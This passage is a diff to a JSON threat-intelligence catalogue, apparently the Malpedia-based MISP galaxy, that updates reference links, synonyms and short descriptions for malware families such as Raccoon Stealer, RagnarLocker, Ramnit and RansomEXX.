"https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon", - "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", - 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"https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://asec.ahnlab.com/en/35981/", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://asec.ahnlab.com/ko/25837/", - "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", - "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", "https://ke-la.com/information-stealers-a-new-landscape/", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/", + "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", + "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", + "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", + "https://d01a.github.io/raccoon-stealer/", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", + "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://asec.ahnlab.com/ko/25837/", + "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/", + "https://asec.ahnlab.com/en/35981/", + "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", + "https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", + "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", + "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", + "https://drive.google.com/file/d/13HEi9Px8V583sRkUG4Syawuw5qwU-W9Q/view", + "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", + "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", + "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", + "https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation", + "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", - "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", + "https://www.group-ib.com/blog/fakesecurity_raccoon", + "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", + "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.youtube.com/watch?v=5KHZSmBeMps", + "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", + "https://www.youtube.com/watch?v=1dbepxN2YD8", + "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family" ], "synonyms": [ "Mohazo", @@ -37858,6 +39912,20 @@ "uuid": "027fb7d0-3e9b-4433-aee1-c266e165a5cc", "value": "Raccoon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://medium.com/s2wlab/analysis-of-lazarus-malware-abusing-non-activex-module-in-south-korea-7d52b9539c12" + ], + "synonyms": [], + "type": [] + }, + "uuid": "993db92e-0c84-4750-a58f-2b61d6cd6d67", + "value": "Racket Downloader" + }, { "description": "", "meta": { @@ -37901,51 +39969,52 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", - "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", - "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", - "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", + "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.acronis.com/en-sg/articles/ragnar-locker/", + "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", + "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", + "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.ic3.gov/Media/News/2022/220307.pdf", - "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", - "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", - "https://www.acronis.com/en-sg/articles/ragnar-locker/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", + "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", - "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://www.ic3.gov/Media/News/2022/220307.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", - "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", - "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/" + "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/" ], "synonyms": [], "type": [] @@ -37958,13 +40027,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw", "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/", + "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], @@ -37978,27 +40047,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.youtube.com/watch?v=GfbxHy6xnbA", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "6c562458-7970-4d61-aded-1fe4a9002404", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "309f9be7-8824-4452-90b3-cef81fd10099", "value": "Raindrop" }, @@ -38020,10 +40080,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo", - "https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2017-02-15-the-rambo-backdoor.md", - "https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html" + "https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf", + "https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" ], "synonyms": [ "brebsd" @@ -38046,34 +40106,34 @@ "value": "Ramdo" }, { - "description": "", + "description": "According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.\r\n\r\nRamnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit", - "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", - "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://muha2xmad.github.io/unpacking/ramnit/", - "https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html", - "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://www.youtube.com/watch?v=l6ZunH6YG0A", "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://research.checkpoint.com/ramnits-network-proxy-servers/", - "https://artik.blue/malware4", + "https://www.youtube.com/watch?v=l6ZunH6YG0A", "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", + "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html", + "https://artik.blue/malware4", + "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://redcanary.com/resources/webinars/deep-dive-process-injection/", + "https://muha2xmad.github.io/unpacking/ramnit/", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://research.checkpoint.com/ramnits-network-proxy-servers/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/", + "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", "http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.youtube.com/watch?v=N4f2e8Mygag", - "http://www.secureworks.com/research/threat-profiles/gold-fairfax", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/" + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", + "https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "http://www.secureworks.com/research/threat-profiles/gold-fairfax" ], "synonyms": [ "Nimnul" @@ -38088,12 +40148,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.antiy.cn/research/notice&report/research_report/20200522.html", - "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "https://www.youtube.com/watch?v=SKIu4LqMrns", "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/" + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/", + "https://www.antiy.cn/research/notice&report/research_report/20200522.html", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" ], "synonyms": [], "type": [] @@ -38106,12 +40167,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus", + "https://bin.re/blog/the-dga-of-ranbyus/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html", "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/", - "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", - "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf" + "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf", + "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/" ], "synonyms": [], "type": [] @@ -38163,34 +40225,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx", - "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://github.com/Bleeping/Ransom.exx", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://github.com/Bleeping/Ransom.exx", "https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html", "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://www.youtube.com/watch?v=qxPXxWMI2i4" + "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" ], "synonyms": [ "Defray777", @@ -38231,15 +40293,15 @@ "value": "SNC" }, { - "description": "", + "description": "InfinityGroup notes that Rapid Ransomware, unlike regular Ransomware, stays active on the computer after initially encrypting the systems and also encrypts any new files that are created. It does this by creating auto-runs that are designed to launch the ransomware and display the ransom note every time the infected system is started.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom", - "https://twitter.com/malwrhunterteam/status/977275481765613569", - "https://twitter.com/malwrhunterteam/status/997748495888076800", "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://exchange.xforce.ibmcloud.com/collection/GuessWho-Ransomware-A-Variant-of-Rapid-Ransomware-ef226b9792fa4c1e34fa4c587db04145", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do" + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://twitter.com/malwrhunterteam/status/977275481765613569", + "https://twitter.com/malwrhunterteam/status/997748495888076800" ], "synonyms": [], "type": [] @@ -38248,7 +40310,7 @@ "value": "Rapid Ransom" }, { - "description": "", + "description": "A spy trojan is a type of malware that has the capability to gather information from the infected system without consent from the user. This information is then sent to a remote attacker.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer", @@ -38265,8 +40327,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog", - "https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/", - "https://tracker.fumik0.com/malware/Rarog" + "https://tracker.fumik0.com/malware/Rarog", + "https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/" ], "synonyms": [], "type": [] @@ -38275,7 +40337,7 @@ "value": "Rarog" }, { - "description": "", + "description": "This ransomware encrypts all user’s data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains 